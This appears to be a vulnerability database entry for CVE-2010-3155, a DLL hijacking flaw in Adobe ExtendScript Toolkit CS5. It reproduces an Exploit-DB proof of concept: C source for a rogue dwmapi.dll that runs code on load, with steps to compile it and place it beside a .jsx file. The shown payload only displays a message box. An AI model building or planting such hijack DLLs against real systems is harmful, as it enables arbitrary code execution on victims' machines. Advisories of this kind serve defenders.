CVE-2010-3155

critical

Published 2010-08-27 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Untrusted search path vulnerability in Adobe ExtendScript Toolkit (ESTK) CS5 3.5.0.52 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse dwmapi.dll that is located in the same folder as a .jsx file.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14785 local windows verified text · 1 KB

LiquidWorm · 2010-08-25

Adobe ExtendedScript Toolkit CS5 3.5.0.52 - 'dwmapi.dll' DLL Hijacking

text exploit Source: Exploit-DB

/*

 Adobe ExtendedScript Toolkit CS5 v3.5.0.52 (dwmapi.dll) DLL Hijacking Exploit

 Vendor: Adobe Systems Inc.
 Product Web Page: http://www.adobe.com
 Affected Version: CS5 v3.5.0.52 ExtendScript 4.1.23 ScriptUI 5.1.37

 Summary: The ExtendScript Toolkit (ESTK) 3.5.0 is a scripting utility
 included with Adobe® Creative Suite CS5 and other Adobe applications.
 The ESTK is used for creating, editing, and debugging JavaScript to be
 used for scripting Adobe applications.

 Desc: Adobe ExtendScript Toolkit CS5 suffers from a dll hijacking vulnerability
 that enables the attacker to execute arbitrary code on a local level. The
 vulnerable extension is .jsx thru dwmapi.dll library.

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 gcc -shared -o dwmapi.dll adobeest.c

 Compile and rename to dwmapi.dll, create a file test.jsx and put both files
 in same dir and execute.
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 Tested on Microsoft Windows XP Professional SP3 (EN)



 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
 liquidworm gmail com

 Zero Science Lab - http://www.zeroscience.mk


 25.08.2010

*/


#include <windows.h>

BOOL WINAPI DllMain (HANDLE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{

	switch (fdwReason)
	{
		case DLL_PROCESS_ATTACH:
		dll_mll();
		case DLL_THREAD_ATTACH:
		case DLL_THREAD_DETACH:
		case DLL_PROCESS_DETACH:
		break;
	}

	return TRUE;
}

int dll_mll()
{
	MessageBox(0, "DLL Hijacked!", "DLL Message", MB_OK);
}

Application impact

Vendor	Product	Versions	Fixed
adobe	extendedscript_toolkit_cs5	`3.5.0.52`

References

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Verify integrity in audit chain (admin only). AS-IS.